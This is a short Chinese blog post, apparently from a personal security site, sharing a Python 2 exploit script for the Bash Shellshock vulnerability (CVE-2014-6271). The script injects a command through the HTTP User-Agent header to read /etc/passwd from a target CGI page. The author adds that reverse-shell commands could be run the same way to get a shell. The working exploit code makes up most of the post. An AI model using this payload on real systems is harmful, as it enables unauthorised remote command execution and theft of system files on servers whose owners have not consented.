這幾天Bash被爆存在遠程命令執行漏洞(CVE-2014-6271),昨天參加完isc,晚上回家
測試了一下,寫了個python版本的測試小基本,貼上代碼:
#coding:utf-8 import urllib,httplib import sys,re,urlparse #author:nx4dm1n #website:www.nxadmin.com def bash_exp(url): urlsp=urlparse.urlparse(url) hostname=urlsp.netloc urlpath=urlsp.path conn=httplib.HTTPConnection(hostname) headers={"User-Agent":"() { :;}; echo `/bin/cat /etc/passwd`"} conn.request("GET",urlpath,headers=headers) res=conn.getresponse() res=res.getheaders() for passwdstr in res: print passwdstr[0]+':'+passwdstr[1] if __name__=='__main__': #帶http if len(sys.argv)<2: print "Usage: "+sys.argv[0]+"www.nxadmin.com/cgi-bin/index.cgi" sys.exit() else: bash_exp(sys.argv[1]) |
腳本執行效果如圖所示:
bash命令執行
也可以用burp進行測試。
利用該漏洞其實可以做很多事情,寫的python小腳本只是執行了cat /etc/passwd。可以執行反向鏈接的命令等,直接獲取一個
shell還是有可能的。不過漏洞存在的條件也比較苛刻,測試找了一些,發現了很少幾個存在漏洞。
English » | | | | | | | | |
Text-to-speech function is limited to 100 characters